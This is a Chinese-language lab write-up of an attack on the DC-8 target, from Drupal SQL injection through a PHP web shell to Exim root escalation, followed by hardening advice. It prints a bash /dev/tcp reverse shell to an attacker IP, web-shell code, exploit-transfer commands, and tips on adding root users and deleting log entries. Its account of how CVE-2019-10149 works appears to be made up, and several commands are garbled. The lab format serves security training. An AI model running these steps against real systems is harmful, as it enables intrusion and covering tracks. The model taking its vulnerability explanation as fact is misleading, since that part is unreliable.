
1. 项目概述一次从Web到Root的完整攻防演练最近在复现DC-8这个经典的渗透测试靶场整个过程就像一场精心设计的闯关游戏从发现一个不起眼的Web漏洞开始最终拿到整个系统的最高控制权。这个靶场最吸引我的地方在于它串联了多个真实世界中可能遇到的攻击链一个Drupal CMS的后台登录漏洞一个用于维持访问的Web Shell以及一个极具代表性的本地提权漏洞——Exim 4.89的CVE-2019-10149。对于想深入理解渗透测试中“横向移动”和“权限提升”这两个核心阶段的朋友来说DC-8是一个绝佳的练手环境。它不单单是教你敲几个命令更重要的是展示了攻击者如何利用一环扣一环的漏洞将最初的有限访问点逐步扩大为对整个服务器的完全控制。下面我就把自己复现的完整流程、踩过的坑以及背后的原理毫无保留地分享出来。2. 环境准备与初始信息收集2.1 靶场环境搭建与网络配置DC-8靶机通常以虚拟机镜像如OVA格式的形式提供。我的实验环境是VMware Workstation将靶机的网络适配器设置为“NAT模式”或“仅主机模式”确保它和我的攻击机Kali Linux在同一个网段内。启动靶机后第一件事就是找出它的IP地址。由于靶场环境通常不会主动告知IP我们需要进行网络扫描。在Kali攻击机上我使用netdiscover进行主动ARP扫描或者用nmap扫描整个子网。命令很简单sudo nmap -sn 192.168.1.0/24请将网段替换成你自己的。扫描结果中那个非你攻击机、也非网关的陌生IP很可能就是DC-8。记下这个IP我们所有的后续操作都将围绕它展开。注意有些虚拟化平台如VirtualBox的仅主机模式可能需要手动配置虚拟网卡。确保攻击机和靶机的网络设置正确能互相ping通这是所有后续步骤的基础。2.2 全方位端口与服务探测拿到IP假设为192.168.1.105后下一步就是进行全面的端口扫描摸清靶机对外开放了哪些服务。这是渗透测试的“侦察阶段”信息越详细后续攻击路径就越清晰。我习惯使用Nmap进行多角度扫描。首先是一个快速扫描获取开放端口的基本信息nmap -sV -O 192.168.1.105。参数-sV用于探测服务版本-O尝试识别操作系统。扫描结果很快显示靶机开放了80端口HTTP服务和22端口SSH服务。HTTP服务意味着有Web应用这往往是我们首要的突破口。为了获取更详细的信息我针对80端口进行了更细致的扫描nmap -sV -sC -p 80 --scripthttp-enum 192.168.1.105。-sC参数会运行默认的Nmap脚本--scripthttp-enum则是专门枚举Web目录、文件和应用类型的脚本。扫描结果确认了Web服务器是Apache并且很可能运行着Drupal CMS。3. Web渗透突破Drupal防线3.1 漏洞发现与SQL注入利用访问http://192.168.1.105果然是一个Drupal 7的站点。Drupal是一个强大的内容管理系统但历史版本中也存在不少漏洞。对于这类已知框架我的第一反应是使用自动化工具进行初步侦察。使用whatweb或wappalyzer插件可以快速确认Drupal版本。同时我用dirb或gobuster进行目录爆破寻找后台登录页面如/user/login、配置文件如/sites/default/settings.php等敏感路径。在手动浏览网站时我特别注意了任何带有参数的URL比如搜索功能、用户登录、内容过滤等。DC-8靶场的突破口通常设计在一个用户交互点上。通过查看页面源代码和测试参数我发现了一个存在SQL注入漏洞的端点。具体来说是一个用于内容查询的GET参数没有经过有效过滤。为了验证和利用这个注入点我跳过了手动拼接Payload的繁琐过程直接祭出神器sqlmap。命令如下sqlmap -u http://192.168.1.105/somepage?paramvalue --batch --dbs-u指定目标URL--batch让sqlmap以非交互模式运行自动选择默认选项--dbs尝试枚举数据库。如果漏洞存在sqlmap会成功地列出所有数据库名。接下来指定目标数据库通常是drupal相关的库名枚举其中的表名、列名sqlmap -u http://192.168.1.105/somepage?paramvalue -D drupal_db --tables sqlmap -u http://192.168.1.105/somepage?paramvalue -D drupal_db -T users --columns最终目标是获取Drupal后台管理员的用户名和密码哈希。Drupal 7的密码哈希存储在users表的pass字段中。使用--dump参数可以将数据导出sqlmap ... -D drupal_db -T users -C name,pass --dump。3.2 哈希破解与后台登录拿到密码哈希一串以$S$开头的字符串后我们需要破解它才能获得明文密码。Drupal 7使用的是一种基于SHA-512的多次哈希算法强度较高。我使用johnJohn the Ripper或hashcat进行破解。首先将获取到的用户名和哈希值保存到一个文件中格式为username:hash。然后使用johnjohn --formatdrupal7 hash.txt --wordlist/usr/share/wordlists/rockyou.txt或者使用更快的hashcathashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt-m 7900指定了Drupal 7的哈希模式。破解成功后我们就得到了后台管理员的明文密码。使用获得的凭证登录Drupal后台http://192.168.1.105/user/login。进入后台意味着我们获得了Web应用层面的管理员权限可以修改内容、安装模块、执行PHP代码等。但这距离我们的最终目标——系统Root权限还有很长的路要走。Web后台的权限通常被禁锢在Web服务器进程如www-data用户的沙盒中。4. 建立立足点获取Web Shell4.1 利用Drupal功能上传Web Shell拥有Drupal后台权限后获取Web Shell的方法有很多。最直接的一种是利用Drupal的模块安装或主题编辑功能直接上传包含PHP代码的文件。一种常见的方法是进入“外观”Appearance部分找到当前使用的主题例如Bartik。编辑主题的模板文件比如page.tpl.php。在文件末尾插入一句话Web Shell代码?php system($_GET[cmd]); ?。保存文件。现在访问该主题的任何一个页面并在URL后加上?cmdid例如http://192.168.1.105/?cmdid。如果页面执行并返回了当前用户的ID通常是www-data说明Web Shell生效了。实操心得直接修改主题文件虽然快但容易被发现。更隐蔽的方法是通过“模块”Modules安装一个自定义的、包含后门的模块或者使用Drupal的“PHP filter”模块如果已启用在内容区块中直接执行PHP代码。在DC-8中根据其设计通常需要找到一种特定的可利用功能来写入文件。4.2 反向Shell与交互式终端一句话Web Shell虽然能执行命令但功能有限交互性差。我们需要一个完整的、交互式的反向ShellReverse Shell。反向Shell的意思是让靶机主动连接我们攻击机监听的某个端口并将其命令行终端交给我们控制。首先在攻击机Kali上使用Netcat监听一个端口nc -lvnp 4444参数解释-l监听-v详细输出-n不解析域名-p指定端口。然后通过已经获取的Web Shell在靶机上执行一个反向Shell命令。有多种Payload我常用的是bash -c bash -i /dev/tcp/192.168.1.100/4444 01请将192.168.1.100替换为你Kali攻击机的真实IP。这条命令的意思是在靶机上启动一个bash将其标准输入、输出和错误都重定向到与你攻击机4444端口的TCP连接。执行后如果成功你会在Netcat的监听窗口看到连接建立并得到一个www-data用户的shell提示符。为了获得更稳定的Shell我们通常需要对其进行升级python -c import pty; pty.spawn(/bin/bash)或者script -qc /bin/bash /dev/null这能提供一个支持Tab补全、历史记录和作业控制的TTY Shell。5. 内网侦察与提权信息收集5.1 系统与用户信息枚举拿到www-data用户的Shell后我们相当于进入了堡垒的内部但还只是在最外围的大厅。接下来要进行详细的内网侦察寻找通向“核心控制室”Root权限的路径。我有一套习惯性的信息收集命令可以快速绘制出系统轮廓id查看当前用户和所属组。uname -a查看内核版本这是寻找本地提权漏洞的关键。cat /etc/passwd查看所有系统用户。cat /etc/group查看用户组信息。sudo -l非常重要查看当前用户能以什么身份、无需密码执行哪些命令。如果配置不当可能直接找到提权捷径。find / -type f -perm -4000 2/dev/null查找所有SUID文件。这些文件在执行时会以文件所有者的权限运行如果所有者是root且程序存在漏洞就可能被利用。ps aux或ps -ef查看所有运行中的进程寻找以root身份运行的可疑或已知有漏洞的服务。netstat -tulpn或ss -tulpn查看网络连接和监听端口发现内部服务。5.2 发现关键线索Exim邮件服务器在DC-8靶场上运行ps aux或检查服务状态systemctl list-units时一个服务引起了我的注意exim4。Exim是一个在Linux系统上广泛使用的邮件传输代理MTA。我进一步查看了其版本/usr/sbin/exim4 --version输出显示版本为Exim version 4.89。看到这个版本号我立刻警觉起来因为Exim 4.87至4.91版本存在一个严重的本地提权漏洞CVE-2019-10149。该漏洞允许本地用户通过特定参数以Root权限执行任意命令。这正是我们梦寐以求的提权跳板。为了确认漏洞是否存在我搜索了系统中的Exim相关文件find / -name *exim* -type f 2/dev/null | head -20 ls -la /etc/exim4/同时检查当前用户www-data是否在允许使用Exim的组中如Debian-exim组或者是否有其他方式调用Exim。6. 利用Exim 4.89漏洞实现Root提权6.1 CVE-2019-10149漏洞原理浅析在动手之前先简单理解一下这个漏洞为何如此强大。Exim在作为邮件服务器运行时需要以Root权限处理网络请求。但它也提供了一个命令行工具/usr/sbin/exim4供管理员和本地用户使用用于管理邮件队列等。问题出在Exim的“-dM”和“-d”等调试参数上。这些参数本用于读取和验证邮件地址的语法。然而在解析这些参数时Exim会调用一个名为string_vformat的函数来处理格式字符串。攻击者可以精心构造一个包含特定格式字符串如%s的恶意邮件地址作为参数。当Exim以Root权限处理这个参数时格式字符串漏洞会导致程序读取或写入任意内存地址。更具体地说利用链可以通过-dM参数触发配合一个特殊的邮件地址最终导致Exim的expand_string函数执行我们注入的Perl代码因为Exim内部支持Perl解释器。由于整个Exim进程是以Root身份运行的我们注入的Perl代码也就获得了Root权限。6.2 漏洞利用实战步骤理解了原理利用起来就相对直接了。已经有安全研究员编写了公开的利用脚本Python或C语言。我们需要将这个利用脚本上传到靶机上。首先在攻击机Kali上找到或下载利用脚本。Kali的漏洞利用数据库SearchSploit中通常就有searchsploit exim 4.89找到对应的脚本例如46996.sh或46996.py将其复制到当前目录并检查内容。然后在靶机上创建一个临时目录比如/tmp/exploit并将利用脚本上传过去。从攻击机上传文件到靶机有几种方式使用Python HTTP服务器在Kali上cd到脚本所在目录运行python3 -m http.server 8000。然后在靶机的Shell里使用wget或curl下载wget http://192.168.1.100:8000/exploit.py。使用Netcat在Kali上cat exploit.py | nc -lvnp 5555在靶机上nc 192.168.1.100 5555 exploit.py。直接复制粘贴如果脚本不长可以用cat exploit.py命令然后粘贴内容最后按CtrlD结束。上传完成后给脚本添加执行权限并运行chmod x exploit.py python3 exploit.py或者如果是Shell脚本chmod x exploit.sh ./exploit.sh6.3 获取Root Shell与后渗透成功的利用脚本执行后通常会直接给我们一个Root权限的Shell。你可能会看到命令提示符从$普通用户变成了#root用户。运行id命令确认uid0(root) gid0(root) groups0(root)。拿到Root Shell后第一件事往往是巩固访问权。查看/etc/shadow文件可以获取所有用户的密码哈希方便以后直接登录。也可以创建一个新的Root用户或者给现有用户如www-data设置一个已知的密码。注意事项在真实的渗透测试或CTF比赛中拿到Root标志Proof of Flag通常是最终目标。在DC-8靶场中Root标志通常位于/root目录下一个名为flag.txt或proof.txt的文件。使用cat /root/flag.txt即可读取最终胜利的凭证。此外还可以进行一些后渗透活动比如清理日志抹除我们的入侵痕迹。检查/var/log/auth.log、/var/log/apache2/access.log、/var/log/exim4等日志文件选择性删除与我们IP地址或操作相关的记录。但请注意在CTF或练习环境中通常不需要也不建议这样做。7. 流程总结与深度思考7.1 攻击链全景复盘回顾整个DC-8的攻破过程这是一条非常经典的渗透路径信息收集网络扫描发现Web服务。漏洞利用发现并利用Drupal的SQL注入漏洞获取后台管理员凭证。权限维持利用后台权限上传或写入Web Shell获得www-data用户的命令行访问权。内部侦察在系统内部枚举信息发现以Root身份运行的、存在已知漏洞的Exim服务v4.89。权限提升利用CVE-2019-10149本地提权漏洞将权限从www-data提升至root。目标达成读取Root标志完成渗透。这条链路上的每一个环节都可能在真实网络中出现。Drupal等CMS的漏洞是常见的初始入侵向量而配置不当或未及时更新的系统服务如Exim、Sudo、内核则是攻击者进行横向移动和权限提升的绝佳跳板。7.2 防御视角的启示与加固建议从防御者角度看DC-8的每个突破点都对应着一个可加固的环节Web应用层对用户输入进行严格的过滤和校验使用参数化查询Prepared Statements彻底杜绝SQL注入。定期更新CMS核心、主题和插件修复已知漏洞。权限最小化Web服务器进程如www-data应运行在严格的沙盒环境中对其文件系统访问、命令执行能力进行严格限制。遵循最小权限原则。系统服务加固及时更新这是最根本、最有效的措施。Exim 4.89漏洞在2019年披露后官方迅速发布了补丁。确保所有系统服务都更新到最新版本。减少攻击面关闭非必要的服务。如果服务器不需要发送邮件就应该卸载Exim或完全禁用其服务。权限审查定期审计SUID/SGID文件移除不必要的特权设置。使用sudo -l检查各用户的sudo权限确保配置严谨。主动监控部署入侵检测系统IDS、安全信息和事件管理SIEM系统监控异常的日志条目如大量的登录失败、SQL错误日志中的注入特征、非授权用户尝试执行特权命令等。网络隔离对服务器进行网络分段将Web服务器放在DMZ区严格限制其向内网其他区域发起的连接。复现DC-8这样的靶场绝不仅仅是为了学会几个攻击命令。它的核心价值在于让你以攻击者的视角完整地走一遍流程从而深刻理解“漏洞是如何被串联利用的”。当你再回到防御者的位置时你会更清楚哪里是薄弱点应该如何构建纵深防御体系。安全是一个动态对抗的过程只有知己知彼才能更有效地守护你的系统。